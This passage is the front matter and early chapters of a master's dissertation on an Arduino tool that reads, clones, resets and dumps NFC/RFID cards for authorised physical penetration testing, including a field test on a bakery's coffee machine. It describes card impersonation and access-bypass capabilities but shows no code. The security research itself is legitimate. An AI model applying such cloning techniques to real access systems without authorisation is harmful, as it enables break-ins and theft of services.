Embed Size (px)
Citation preview
EXPLOITING NFC AND RFID VULNERABILITIES IN APENETRATION TESTING ENVIRONMENT USING
ARDUINO
by
STYLIANOS KILIARISURN: 6438770
A dissertation submitted in partial fulfilment of therequirements for the award of
MASTER OF SCIENCE IN INFORMATION SECURITY
August 2020
Department of ComputingUniversity of SurreyGuildford GU2 7XH
Supervised by: Ioana Boureanu
I confirm that the submitted work is my own work and that I have clearly identified and fullyacknowledged all material that is entitled to be attributed to others (whether published orunpublished) using the referencing system set out in the programme handbook. I agree thatthe University may submit my work to means of checking this, such as the plagiarism detectionservice Turnitin R© UK. I confirm that I understand that assessed work that has been shown tohave been plagiarised will be penalised.
Stylianos KiliarisAugust 2020
c© Copyright Stylianos Kiliaris, August 2020
Abstract
The following report includes the explanation, presentation, implementation and related re-
search that is associated with the Arduino application developed to exploit NFC and RFID
vulnerabilities in a Penetration Testing Environment.
The focus of the developed Arduino implementation is to exploit the various NFC & RFID
vulnerabilities that exist in various types of media and bring forward a combined solution that
is able to exploit both, radio frequency and magnetic field induction technologies. Additionally,
an attempt will be made to bring into light exploits on newer technologies that have not yet
been documented or popularised.
The overall Arduino solution is to be used as a complete tool in a Physical Penetration Testing
Environment in order to gain entry into, or fool various facilities, rooms, machines or impersonate
personal ID cards.
The implementation created will provide various tools and methods for exploiting Near Field
Communication (NFC) & Radio Frequency Identification (RFID) communication media in an
attempt to read, delete, format and copy data stored, and emulate the contents of said media
directly, in order to eliminate the need of a Penetration Tester carrying additional blank NFC
& RFID cards/tags.
The project developed, which I’ve named "Echo RFID" will be extensively detailed and explained
in the following sections.
3
Acknowledgements
This section provides thanks and acknowledgement to all people involved and have contributed,
in any way, shape or form, to the following Dissertation.
• Dr. Ioana Boureanu:
Firstly, I would like to acknowledge my supervisor, Dr. Ioana Boureanu for her support and
guidance on the entire process of documenting and implementing this Masters Dissertation.
• Anastasia Kiliari:
Additionally, I would also like to thank and acknowledge Mrs. Anastasia Kiliari for her
substantial financial support given towards buying the hardware used for implementation
and testing. The funding given was used to buy the Arduino UNO used for implementa-
tion, an Arduino clone (ELEGOO UNO R3) used for prototyping, the RC522 RFID/NFC
Reader and Writer Module and other various accessories used to connect and house the
complete solution.
• Kosmos Bakeries LTD:
Kosmos Bakeries, a local bakery in Nicosia, Cyprus, my hometown, has agreed (Appendix
B) to let me test my implementation in an attempt to hack their automated Beverage
Making machine. A multi-thousand euro machine that brings in a good chunk of their
annual income, and a vital part of their debit stream, uses an exploitable NFC solution
to authenticate payments and allow employees to brew their own coffee without paying.
By exploiting this vulnerability, ways of preventing such attacks, or eliminating them
completely would be found, saving them from a potentially huge financial loss.
4
Contents
1 Introduction 17
1.1 Current Environment . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
1.2 What is Penetration Testing? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18
1.2.1 Physical Penetration Testing . . . . . . . . . . . . . . . . . . . . . . . . . 19
1.3 Chosen Methodology . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
1.3.1 Arduino UNO . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
1.3.2 ELEGOO UNO R3 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20
1.3.3 RC522 Module - 13.56MHz NFC Reader/Writer . . . . . . . . . . . . . . . 20
1.3.4 LCD Module - I2C 16x02 Backlight . . . . . . . . . . . . . . . . . . . . . . 22
1.3.5 Arduino IDE . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23
1.4 Aims & Objectives . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23
1.5 How can it be applied to a PenTesting Environment? . . . . . . . . . . . . . . . . 23
2 Background Research 25
2.1 Penetration Testing Background . . . . . . . . . . . . . . . . . . . . . . . . . . . 25
2.1.1 Physical Penetration Testing . . . . . . . . . . . . . . . . . . . . . . . . . 25
2.2 What is NFC & RFID . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26
2.2.1 RFID . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26
2.2.2 NFC . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27
5
2.2.3 How LF Systems work . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 28
2.2.3.1 LF Technologies & Media . . . . . . . . . . . . . . . . . . . . . . 28
2.2.4 How HF Systems work . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 29
2.2.4.1 HF Technologies & Media . . . . . . . . . . . . . . . . . . . . . . 29
2.2.5 UHF Technologies & Media . . . . . . . . . . . . . . . . . . . . . . . . . . 30
3 Literature Review 31
3.1 History of RFID . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31
3.2 Technical Overview of RFID . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32
3.2.1 How RFID Works . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32
3.2.2 Active & Passive Technologies . . . . . . . . . . . . . . . . . . . . . . . . . 33
3.2.3 Near & Far Field RFID . . . . . . . . . . . . . . . . . . . . . . . . . . . . 34
3.2.4 RFID Standards . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 34
3.3 RFID Limitations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 35
3.3.1 RFID Concerns & Vulnerabilities . . . . . . . . . . . . . . . . . . . . . . . 35
3.3.2 RFID Media & Reader Limitations . . . . . . . . . . . . . . . . . . . . . . 36
3.4 Documented Attacks & Vulnerabilities . . . . . . . . . . . . . . . . . . . . . . . . 37
3.4.1 Copying and Spoofing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 38
3.4.2 Relay Attacks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39
3.4.3 Reverse Engineering . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41
3.4.4 Eavesdropping . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 42
3.4.5 Power Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 43
3.4.6 Denial Of Service . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 44
3.5 Vulnerability Countermeasures . . . . . . . . . . . . . . . . . . . . . . . . . . . . 46
3.5.1 Distance Bounding . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 46
3.5.2 Rolling Codes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 47
6
3.5.3 Adequate Encryption . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 48
3.5.4 Shielding . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 49
3.6 Existing Solutions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 50
3.6.1 125KHz RFID Copier . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 50
3.6.2 13.56MHz NFC Reader/Writer . . . . . . . . . . . . . . . . . . . . . . . . 51
3.6.3 10 Band Frequency RFID & NFC Reader/Writer/Duplicator . . . . . . . 51
3.6.4 ProxMark 3 RDV4 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 53
4 Design 55
4.1 Display . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 55
4.2 User Interface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 56
4.2.1 Menu . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 56
4.2.2 Buttons & Navigation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 56
4.2.3 Information Output . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 56
5 Software Requirements Specification 57
5.1 Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 57
5.1.1 Purpose . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 57
5.1.2 Scope . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 57
5.2 Overall Description . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 58
5.2.1 Product Functions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 58
5.2.2 User Characteristics . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 58
5.2.3 Design and Implementation Constraints . . . . . . . . . . . . . . . . . . . 59
5.2.4 Assumptions and Dependencies . . . . . . . . . . . . . . . . . . . . . . . . 60
5.2.4.1 Hardware Dependencies . . . . . . . . . . . . . . . . . . . . . . . 60
5.2.4.2 Software Dependencies . . . . . . . . . . . . . . . . . . . . . . . 60
5.3 Specific Requirements . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 61
7
5.3.1 Non-Functional Requirements . . . . . . . . . . . . . . . . . . . . . . . . . 61
5.3.2 Functional Requirements . . . . . . . . . . . . . . . . . . . . . . . . . . . . 61
6 Implementation 62
6.1 Navigation Menu . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 62
6.1.1 I2C 16x02 LCD Implementation & Set-Up . . . . . . . . . . . . . . . . . . 63
6.1.2 Buttons, Menu Navigation & Behaviour Logic . . . . . . . . . . . . . . . . 64
6.1.2.1 updateMenu() Method . . . . . . . . . . . . . . . . . . . . . . . 66
6.1.2.2 executeAction() Method . . . . . . . . . . . . . . . . . . . . . . . 68
6.2 HF RFID - UID Reading . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 69
6.2.1 RC522 HF RFID Reader/Writer Implementation & Set-Up . . . . . . . . 69
6.2.2 Reading HF UID & Displaying to LCD/Serial Monitor Logic . . . . . . . 70
6.2.2.1 action4() Method . . . . . . . . . . . . . . . . . . . . . . . . . . 71
6.3 HF RFID - UID Resetting . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 74
6.3.1 Pre-Requisite Set-Up . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 75
6.3.2 Resetting HF UID & Displaying to LCD/Serial Monitor Logic . . . . . . . 75
6.3.2.1 action6() Method . . . . . . . . . . . . . . . . . . . . . . . . . . 76
6.4 HF RFID - Information Dumping . . . . . . . . . . . . . . . . . . . . . . . . . . . 77
6.4.1 Pre-Requisite Set-Up . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 77
6.4.2 HF Information Dumping & Displaying to LCD/Serial Monitor Logic . . . 78
6.4.2.1 action7() Method . . . . . . . . . . . . . . . . . . . . . . . . . . 78
6.5 HF RFID - UID Cloning . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 79
6.5.1 Pre-Requisite Set-Up . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 80
6.5.2 HF Unique Identifier Reading & Cloning . . . . . . . . . . . . . . . . . . . 80
6.5.2.1 action5() Method . . . . . . . . . . . . . . . . . . . . . . . . . . 80
7 Results/Evaluation 83
8
7.1 125KHz RFID Lock . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 83
7.1.1 Restricted due to COVID-19 . . . . . . . . . . . . . . . . . . . . . . . . . 84
7.2 Testing Functionality . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 84
7.2.1 HF - Read UID . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 85
7.2.1.1 Waiting Screen . . . . . . . . . . . . . . . . . . . . . . . . . . . . 85
7.2.1.2 13.56MHz Card UID Reading . . . . . . . . . . . . . . . . . . . . 85
7.2.1.3 13.56MHz Serial Monitor Output . . . . . . . . . . . . . . . . . . 85
7.2.1.4 7-byte Long UID Reading . . . . . . . . . . . . . . . . . . . . . . 86
7.2.1.5 HF UID Reading - Validation . . . . . . . . . . . . . . . . . . . . 86
7.2.1.6 HF UID Reading - Media Compatibility . . . . . . . . . . . . . . 86
7.2.2 HF - Clone UID . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 87
7.2.2.1 Prompt & Waiting Screen . . . . . . . . . . . . . . . . . . . . . . 87
7.2.2.2 UID Cloning . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 88
7.2.3 HF - Reset MC . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 88
7.2.3.1 Warning & Waiting Screen . . . . . . . . . . . . . . . . . . . . . 88
7.2.3.2 Sector 0 UID Resetting . . . . . . . . . . . . . . . . . . . . . . . 89
7.2.4 HF - DumpInfo . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 89
7.2.4.1 Prompt & Waiting Screen . . . . . . . . . . . . . . . . . . . . . . 89
7.2.4.2 Mifare Classic Data Dump . . . . . . . . . . . . . . . . . . . . . 89
7.3 Testing/Exploiting RFID vulnerabilities w/ video - How these functionalities can
turn into Attacks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 90
7.3.1 Reading Unique Identifier - Read attack . . . . . . . . . . . . . . . . . . . 90
7.3.2 Cloning Unique Identifier - Impersonation Attack . . . . . . . . . . . . . . 90
7.3.3 Resetting UID - Denial of Service Attack . . . . . . . . . . . . . . . . . . 91
7.3.4 Dumping all Information - Read Attack . . . . . . . . . . . . . . . . . . . 91
7.4 Exploiting Automatic Vending Coffee Machine - PenTesting Field Test . . . . . . 92
9
8 Statement of Ethics 95
8.1 GDPR Compliance . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 95
8.2 Addressing Ethical Concerns . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 95
9 COVID-19 & The Impact it had on Low Frequency Functionality Implemen-
tation 97
9.1 Background . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 97
9.2 Explanation & Evidence . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 97
10 Conclusion 99
10.1 Lessons Learned . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 99
10.1.1 Issues & Overcoming Them . . . . . . . . . . . . . . . . . . . . . . . . . . 99
10.1.1.1 125KHz Antenna . . . . . . . . . . . . . . . . . . . . . . . . . . . 99
10.1.1.2 Bug Identified in RC522 13.56MHz Reader/Writer Library . . . 100
10.1.1.3 16x02 LCD - I2C Wiring . . . . . . . . . . . . . . . . . . . . . . 100
10.2 Closing Remarks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 101
A SAGE Ethics Report 102
B Kosmos Bakeries Penetration Testing Agreement 112
C Arduino Component Schematics 115
C.1 LCD & Button Schematic . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 115
C.2 RC522 HF RFID Module Schematic . . . . . . . . . . . . . . . . . . . . . . . . . 116
D HF-Read UID - Functionality Testing 117
E HF-Clone UID - Functionality Testing 122
F HF-Reset MC - Functionality Testing 127
10
G HF-DumpInfo - Functionality Testing 131
H COVID-19 Impact - Proof Documents 134
H.1 Tenancy Agreement . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 134
H.2 Lockdown - Suspension of all non-essential shops . . . . . . . . . . . . . . . . . . 136
H.3 Lockdown - Suspension of Cyprus Post . . . . . . . . . . . . . . . . . . . . . . . . 136
H.4 Overseas Shipping Delays . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 136
11
List of Figures
1.1 Picture of an Arduino UNO Microprocessor . . . . . . . . . . . . . . . . . . . . . 20
1.2 Picture of an Elegoo Uno R3 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21
1.3 Picture of a RFID RC522 Reader/Writer . . . . . . . . . . . . . . . . . . . . . . . 21
1.4 Picture of a I2C Backlight LCD 16x02 . . . . . . . . . . . . . . . . . . . . . . . . 22
3.1 Picture of a 125KHz RFID Copier . . . . . . . . . . . . . . . . . . . . . . . . . . 50
3.2 Picture of a 13.56MHz RFID Reader/Writer . . . . . . . . . . . . . . . . . . . . . 52
3.3 Picture of a 13.56MHz RFID Reader/Writer Model ACR122U . . . . . . . . . . . 52
3.4 Picture of a 10-Band RFID Reader/Writer/Duplicator . . . . . . . . . . . . . . . 53
3.5 Picture of a ProxMark 3 RDV4, RFID tool . . . . . . . . . . . . . . . . . . . . . 54
7.1 Picture of 125KHz RFID Lock . . . . . . . . . . . . . . . . . . . . . . . . . . . . 83
7.2 Reading Employee UID . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 93
7.3 Cloning Employee UID . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 94
7.4 Successful Impersonation Attack . . . . . . . . . . . . . . . . . . . . . . . . . . . 94
C.1 Schematic for Implementing the Navigation Menu . . . . . . . . . . . . . . . . . . 115
C.2 Schematic for Implementing all HF Attacks . . . . . . . . . . . . . . . . . . . . . 116
D.1 Selecting the HF-Read UID option . . . . . . . . . . . . . . . . . . . . . . . . . . 117
D.2 Output of Reading 13.56MHz Card . . . . . . . . . . . . . . . . . . . . . . . . . . 118
12
D.3 Serial Monitor of Reading 13.56MHz Card . . . . . . . . . . . . . . . . . . . . . . 118
D.4 Output of Reading 7-byte UID Card . . . . . . . . . . . . . . . . . . . . . . . . . 118
D.5 Validating Output using 10 Band RFID Reader . . . . . . . . . . . . . . . . . . . 119
D.6 Reading 13.56MHz Tag . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 119
D.7 Reading Contactless Credit Card . . . . . . . . . . . . . . . . . . . . . . . . . . . 120
D.8 Reading Electronic Passport . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 120
D.9 Reading iPhone . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 121
D.10 Reading Android . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 121
E.1 LCD output of Presenting the Source HF tag . . . . . . . . . . . . . . . . . . . . 122
E.2 LCD output of Presenting the Destination HF tag . . . . . . . . . . . . . . . . . 123
E.3 LCD output of Failed Cloning . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 123
E.4 LCD output of Successful Cloning . . . . . . . . . . . . . . . . . . . . . . . . . . 124
E.5 LCD output of Incompatible RFID tag type . . . . . . . . . . . . . . . . . . . . . 124
E.6 Serial Monitor output of Successful Copy . . . . . . . . . . . . . . . . . . . . . . . 125
E.7 Serial Monitor output of Failed Copy . . . . . . . . . . . . . . . . . . . . . . . . . 125
E.8 Serial Monitor output of Incompatible RFID tag type . . . . . . . . . . . . . . . 125
E.9 Multi-Reader UID output of Source HF tag . . . . . . . . . . . . . . . . . . . . . 126
E.10 Multi-Reader UID output of Destination HF tag . . . . . . . . . . . . . . . . . . 126
F.1 LCD output of Reset Warning . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 127
F.2 LCD output of Reset Waiting Prompt . . . . . . . . . . . . . . . . . . . . . . . . 128
F.3 Serial Monitor output of Reset Waiting and Warning Prompt . . . . . . . . . . . 128
F.4 Manual UID set to 11 11 11 11 confirmed . . . . . . . . . . . . . . . . . . . . . . 129
F.5 Resetting Sector 0 Block successful . . . . . . . . . . . . . . . . . . . . . . . . . . 129
F.6 Resetting of UID set to 04 03 02 01 confirmed . . . . . . . . . . . . . . . . . . . . 130
13
G.1 Connect to PC User Prompt . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 131
G.2 Output to PC Serial Monitor Prompt . . . . . . . . . . . . . . . . . . . . . . . . . 132
G.3 Present HF Tag Prompt . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 132
G.4 Serial Monitor Ready for Input Prompt . . . . . . . . . . . . . . . . . . . . . . . 133
G.5 Serial Monitor Data Dump - All Sectors . . . . . . . . . . . . . . . . . . . . . . . 133
H.1 In-Cyprus Lockdown Article . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 136
H.2 In-Cyprus Cyprus Post closure Article . . . . . . . . . . . . . . . . . . . . . . . . 137
H.3 Amazon Listing & Estimated Shipping . . . . . . . . . . . . . . . . . . . . . . . . 137
14
Glossary
NFC The technology powering contactless payments and near-field communication wireless
cards/tags. Uses magnetic field induction for communicating.
RFID The wireless communication technology that uses a portion of the electromagnetic
spectrum.
SRS The Software Requirements Specification Document used to properly document and
define both the technical and the non-technical requirements of any software.
RAM A form of computer memory that is erased on each boot. It can be accessed and
modified at any point and is typically used to store program working data.
EEPROM Non-Volatile computer memory that can be erased electronically. Typically used in
micro-controllers.
UID Unique Identification Number inherent in RFID media to uniquely identify each and
every one.
LF Refers to Low-Frequency RFID media, typically 125KHz cards/tags - Commonly
referred to as LF RFID
HF Refers to High-Frequency RFID media, typically 13.56MHz cards/tags - Commonly
referred to as NFC or HF RFID
UHF Refers to Ultra-High-Frequency RFID media. Not researched in depth under this
Dissertation
EMF Refers to a non-quantum field generated by the move of electrical charges.
DOS Refers to the Denial-Of-Service RFID attack that is explained in detail under the
Literature Review section
IDE Refers to the coding suite used to implement the given software
15
Abbreviations
NFC Near Field Communication
RFID Radio Frequency Identification
SRS Software Requirement Specification
PenTest Penetration Test
RAM Random Access Memory
EEPROM Electrically Erasable Programmable Read-Only Memory
UID Unique Identification
LF Low-Frequency
HF High-Frequency
UHF Ultra-High-Frequency
EMF Electromagnetic Fields
DOS Denial Of Service
IDE Integrated Development Environment
16
Chapter 1
Introduction
This project aims to create an all-in-one solution for Penetration Testers. An implementation
will be created that can be used in the field to aid their daily tasks, without the need of extra,
bulky or expensive hardware. It is based on Arduino, which is cheap and open-source, and
provides a majority of useful functionality that is used on NFC/RFID vulnerabilities, including
Reading Sectors, Resetting, Dumping Information, Duplicating Data, and more.
The overall project is named "Echo RFID" so as to represent the signal/wave manipulation that
is taking place.
1.1 Current Environment
In the current environment, RFID and NFC technologies are used widely in many aspects of
technology, in the majority of Industries, and can be found in a wide range of Businesses.
NFC cards are commonly used to identify employees, track their working hours, monitor products
and their behaviour, and in many other ways.
RFID cards and tags are commonly used to allow authorised access into company buildings,
secure rooms, and other implementations.
Lots of companies depend on the above implementations to carry out their day-to-day tasks,
and in many cases if these technologies were to be compromised, major disruptions would occur
to the said companies.
The Arduino Code and Solution developed in this Dissertation aims to provide a complete tool
17
for Penetration Testers to exploit vulnerabilities in NFC & RFID technologies so that company
vulnerabilities can be identified and dealt with. In this way, companies and businesses can
continue using these technologies in a more safe and secure manner.
1.2 What is Penetration Testing?
Penetration Testing, known also as "PenTesting", for short, is the act of intentionally hacking
a system, in order to expose its vulnerabilities. In the majority of cases, it is performed by a
third-party, external company, under a contract. The outsourced company tries to gain entry
or access to various systems or networks by exposing known vulnerabilities or by finding new
ones. These vulnerabilities can be both cyber or physical depending on the situation, as long as
it provides a vulnerable window for a successful breach.
Iit is commonly broken down to 5 stages:
• Planning
Creating an overall plan of attack
• Scanning
Analysing the Network and Infrastructure
• Gaining Access
Exploiting Vulnerabilities found to gain access to system or network
• Maintaining Access
Using found Vulnerabilities to maintain access to system or network
• Analysis and Reporting
Documenting the Vulnerabilities and Exploits found, Reporting the process and Suggesting
actions
Each stage has its own unique steps and processes that ultimately act as a proper and full way
of identifying, documenting and eliminating as many threats to the company as possible.
18
1.2.1 Physical Penetration Testing
Physical PenTesting is concerned with the physical access to systems, machines or rooms. It
revolves around fooling or hacking access and entry points and it often involves copying staff
credentials.
It is just as important as software penetration testing. If a very expensive and impenetra-
ble server, for example is housed in an unlocked, publicly-accessed room, the server suddenly
becomes extremely vulnerable and open to attacks.
The focus of this Dissertation revolves around physical penetration testing, and specifically,
exploiting NFC and RFID cards and tags in order to gain access to systems that validate using
these media or to gain entry to spaces that are secured with NFC or RFID scanners.
1.3 Chosen Methodology
The developed solution will be able to read and exploit various NFC & RFID media, and as
such it must be housed under hardware that is able to perform such tasks.
A small computing microprocessor must be used to perform the various tasks, along with a
reader/writer that is able to operate with both technologies mentioned above. A Display is
utilised to show output, along with 2 buttons that aid menu navigation.
1.3.1 Arduino UNO
The microprocessor hardware solution used to perform the described NFC and RFID exploits
is an Arduino UNO, shown under Figure 1.1.
As explained by the official Arduino Page (arduino uno rev3 | arduino official store n.d.), the
Arduino UNO is a micro-controller based on the ATmega328P chip and is the ideal board for
prototyping as it offers a variety of ports, connections and pins. It consists of 14 digital input
& output pins, 6 analog inputs and can be powered using a battery or through USB power at
5V or 3.3V.
It includes 32KB of program memory, 2KB of RAM, and 1KB of EEPROM, while operating at
16MHz, offering plenty of computing power for the purposes needed and can be used in remote
locations using battery power.
19
1.3.2 ELEGOO UNO R3
This is an Arduino Clone, shown under Figure 1.2, that is used for prototyping in this Disser-
tation project.
It operates much like the official Arduino UNO, but it is significantly cheaper and for that reason
it is perfect for prototyping.
As explained by the official Elegoo Page (ELEGOO R3 Board ATmega328P ATMEGA16U2 with
USB Cable - ELEGOO Inc n.d.), the Elegoo R3 is also based on the ATmega328P microcontroller
and is equipped with 32k of Flash Memory and a 16MHz clock speed.
It is made up of 14 Digital I/O Pins, 6 Analog Inputs and operates at both 5V 500MA or 3.3V
50MA.
1.3.3 RC522 Module - 13.56MHz NFC Reader/Writer
The RFID & NFC Reader/Writer used to read and write data to and from the described media,
shown under Figure 1.4.
As explained under this components website (RC522 RFID Module Pinout, Features, Specs &
(a) Arduino UNO
Figure 1.1: Picture of an Arduino UNO Microprocessor
20
(a) ELEGOO UNO R3
Figure 1.2: Picture of an Elegoo Uno R3
(a) RFID RC522 Module
Figure 1.3: Picture of a RFID RC522 Reader/Writer
21
How to Use It n.d.), the RC522 is a RFID/NFC module operating at 13.56MHz. It has a reading
range of up to 5cm, can transfer data at a maximum rate of 10Mbps and it offers communication
over SPI, I2C protocol, and UART.
It runs optimally on 3.3V but can also be operated at 2.5V drawing a current of 13-26mA while,
when not in use it can be turned to power down mode where it consumes a minimum of 10uA
to conserve energy.
1.3.4 LCD Module - I2C 16x02 Backlight
The Display used to navigate between options and show the output of operations, an I2C LCD
module is used, shown under Figure 1.4.
This is a display that is able to show 16 characters per line, over 2 lines. Each character is
represented over a 5x8 matrix, where individual pixels light up to make up the corresponding,
or custom-made characters. There are 16 of these 5x8 boxes arranged next to each other on
each line, making it possible to output blocks of information consisting of a maximum of 32
(a) I2C LCD 16x02 Module
Figure 1.4: Picture of a I2C Backlight LCD 16x02
22
characters at any time.
The on-board I2C module preferred over a conventional LCD module, as it is used mainly to
reduce the amount of inputs pins being used on the Arduino so that there is enough room to
accommodate all modules needed. The I2C reduces the 8-10 pins normally occupied, to 4. All
operations, and even screen dimming is made on the I2C module outside of the Arduino.
The Display is also back-lit with a bright white LED, so that it is usable in all environments
and text is visible under any condition.
1.3.5 Arduino IDE
The entirety of the code developed under this Dissertation is written using the official Arduino
IDE.
It is the official development studio used to program Arduinos and their microprocessors. It
offers a suite of libraries that make it easier to create and compile programs and make sure that
the various parts used communicate with each other as optimally as possible.
The languages supported and used in this implementation are a combination of C and C++
along with some Arduino IDE specific rules for code structuring.
1.4 Aims & Objectives
1. Read & Write to RFID 125KHz Cards/Tags
2. Read & Write to NFC 13.56MHz Cards/Tags
3. Duplicate UID of Cards
4. Delete all data from RFID & NFC Cards/Tags
5. Read & Display Data from RFID & NFC Cards/Tags
1.5 How can it be applied to a PenTesting Environment?
The entire aim of this implementation is to provide an all-in-one solution for PenTesters. The
functionalities offered provide a complete RFID manipulation suite, so that PenTesters can easily
23
view, modify, reset (etc) LF and HF RFID tags, in the field, as easily and efficiently as possible.
This is possible because the complete system has an on-board single board computer and a
display, as well as all antennas needed. This eliminates the need for the system to be hooked
up to a computer, and thus, making the entire Penetration Testing process easier, simpler and
more user friendly.
In such a hectic environment, every second counts, and thus offering a quick, easy-to-navigate
system that produces results, fast, is a huge benefit.
A number of similar systems and solutions have been studied and taken under consideration,
but the one that is best to draw comparisons to is the ProxMark. These comparisons will be
documented and explained in detail, in later sections, but for now, it is sufficient to know that
the end result provides a faster, easier-to-use, all-in-one solution.
24
Chapter 2
Background Research
2.1 Penetration Testing Background
Penetration Testing, in general is the act of deliberately and actively trying to gain access to a
system or network by researching and exploiting possible vulnerabilities. It is a form of Ethical
Hacking that aims to expose the known or unknown vulnerabilities and threats within a system
or a company in an attempt to allow for adequate prevention of incidents and provide a path
towards the never-ending cycle of complete threat elimination.
2.1.1 Physical Penetration Testing
Physical Penetration testing is a branch of the overall Penetration Testing procedure. It is
commonly done prior to Software Penetration Testing and is often associated with gaining access
into various systems or facilities guarded by technology hardware.
It can sometimes occur that the vulnerability found under Physical Penetration Testing is as
simple as a lack of a physical lock, but in the majority of cases the vulnerabilities found are
associated with technological access entry systems. These can either be in the form of a pin
pad, even in some cases a fingerprint reader, but in the majority of cases, these access systems
operate using some sort of RFID.
RFID is used from simply allowing access, to tracking employee entry and departure, to even
regulating permissions and access to hardware such as servers. It is common practise, when
RFID entry systems are used in various rooms within an organisation, for the specific rooms
25
to be accessible only be certain groups of people. For example, only the System Administrator
might have access to the physical server room. Impersonating or exploiting their RFID media
might result in malicious access to these rooms, for example.
This Dissertation is specifically concerned with exploiting RFID entry systems and other forms
of RFID exploitation that might be proven beneficial in a Physical Penetration Testing environ-
ment.
2.2 What is NFC & RFID
2.2.1 RFID
First of all, RFID stands for Radio-Frequency Identification. It is the technology that en-
capsulates NFC and offers wireless communication by using electromagnetic fields. EMFs are
generated from an embedded coil in RFID media that sends out a unique signal, typically called
the UID (Unique Identifier). When RFID media is in close proximity to a RFID reader, an elec-
tromagnetic interrogation pulse is generated, by the reader, that powers the coil transponder
within the card or tag. The tag then is able to transmit its unique signal, in the corresponding
frequency, which is then able to be read from the reader.
The RFID frequency spectrum is broken down into three sections, Low Frequency, High Fre-
quency and Ultra High Frequency. These sections are made up as follows:
• Low-Frequency RFID
30KHz - 300KHz
• High-Frequency RFID
3MHz - 30MHz
• Ultra-High-Frequency RFID
300MHz - 3GHz
As described under the book "RFID Field Guide" book (Bhuptani & Moradpour 2005), RFID
is most commonly used, in an enterprise environment, to provide Security and Authentication
convenience and safety in aspects such as Authenticating Documents, Monitoring People, au-
tomating Industrial Processes and providing Access Control. Other, not so common use cases
26
include Crowd Control, and Golf.
As outlined by the same book (Bhuptani & Moradpour 2005), when looking at Access Control
